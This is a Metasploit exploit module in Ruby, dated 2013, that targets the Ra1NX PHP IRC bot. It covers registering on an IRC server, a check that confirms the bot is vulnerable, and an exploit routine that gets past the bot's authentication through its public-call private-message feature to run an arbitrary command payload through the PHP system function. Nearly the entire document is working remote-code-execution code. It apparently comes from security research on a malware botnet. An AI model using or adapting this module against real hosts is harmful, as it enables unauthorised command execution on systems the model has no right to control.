|   1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148  |  # Exploit Title: "Ra1NX" PHP Bot pubcall Authentication Bypass Remote Code Execution # Date: March 24, 2013 # Exploit Author: bwall # Software Link: https://defense.ballastsecurity.net/decoding/index.php?hash=69401ac90262f3855c23cd143d7d2ae0 # Version: v2.0 # Tested on: Ubuntu require 'msf/core' class Metasploit3 < Msf::Exploit::Remote  include Msf::Exploit::Remote::Tcp  def initialize(info = {})  super(update_info(info,  'Name' => '"Ra1NX" PHP Bot pubcall Authentication Bypass Remote Code Execution',  'Description'=> %q{  This module allows remote command execution on the PHP IRC bot Ra1NX by  using the public call feature in private message to covertly bypass the  authentication system.  },  'Author' =>  [  'bwall <bwall[at]openbwall.com>' # Ra1NX analysis and Metasploit module  ],  'License'=> MSF_LICENSE,  'References' =>  [  ['URL', 'https://defense.ballastsecurity.net/wiki/index.php/Ra1NX_bot'],  ['URL', 'https://defense.ballastsecurity.net/decoding/index.php?hash=69401ac90262f3855c23cd143d7d2ae0'],  ['URL', 'http://ddecode.com/phpdecoder/?results=8c6ba611ea2a504da928c6e176a6537b']  ],  'Platform' => [ 'unix', 'win'],  'Arch' => ARCH_CMD,  'Payload'=>  {  'Space'=> 344,  'BadChars' => '',  'DisableNops' => true,  'Compat'=>  {  'PayloadType' => 'cmd',  }  },  'Targets'=>  [  [ 'Ra1NX', { } ]  ],  'Privileged' => false,  'DisclosureDate' => 'March 24 2013',  'DefaultTarget'=> 0))  register_options(  [  Opt::RPORT(6667),  OptString.new('IRC_PASSWORD', [false, 'IRC Connection Password', '']),  OptString.new('NICK', [true, 'IRC Nickname', 'msf_user']),  OptString.new('RNICK', [true, 'Nickname of Target IRC Bot', 'jhl1']),  OptString.new('PHP_EXEC', [true, 'Function used to call payload', 'system'])  ], self.class)  end  def check  connect  response = register(sock)  if response =~ /463/ or response =~ /464/  print_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed")  return Exploit::CheckCode::Unknown  end  confirm_string = rand_text_alpha(8)  response = send_msg(sock, "PRIVMSG #{datastore['RNICK']} :#{datastore['RNICK']} @msg #{datastore['NICK']} #{confirm_string}\r\n")  print response  quit(sock)  disconnect  if response =~ /#{confirm_string}/  return Exploit::CheckCode::Vulnerable  else  return Exploit::CheckCode::Safe  end  end  def send_msg(sock, data)  sock.put(data)  data = ""  begin  read_data = sock.get_once(-1, 1)  while not read_data.nil?  data << read_data  read_data = sock.get_once(-1, 1)  end  rescue EOFError  end  data  end  def register(sock)  msg = ""  if datastore['IRC_PASSWORD'] and not datastore['IRC_PASSWORD'].empty?  msg << "PASS #{datastore['IRC_PASSWORD']}\r\n"  end  if datastore['NICK'].length > 9  nick = rand_text_alpha(9)  print_error("The nick is longer than 9 characters, using #{nick}")  else  nick = datastore['NICK']  end  msg << "NICK #{nick}\r\n"  msg << "USER #{nick} #{Rex::Socket.source_address(rhost)} #{rhost} :#{nick}\r\n"  response = send_msg(sock,msg)  return response  end  def ra1nx_command(sock)  encoded = payload.encoded  command_msg = "PRIVMSG #{datastore['RNICK']} :#{datastore['RNICK']} @#{datastore['PHP_EXEC']} #{encoded}\r\n"  response = send_msg(sock, command_msg)  return response  end  def quit(sock)  quit_msg = "QUIT :bye bye\r\n"  sock.put(quit_msg)  end  def exploit  connect  print_status("#{rhost}:#{rport} - Registering with the IRC Server...")  response = register(sock)  if response =~ /463/ or response =~ /464/  print_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed")  return  end  print_status("#{rhost}:#{rport} - Exploiting the Ra1NX bot...")  ra1nx_command(sock)  quit(sock)  disconnect  end end  |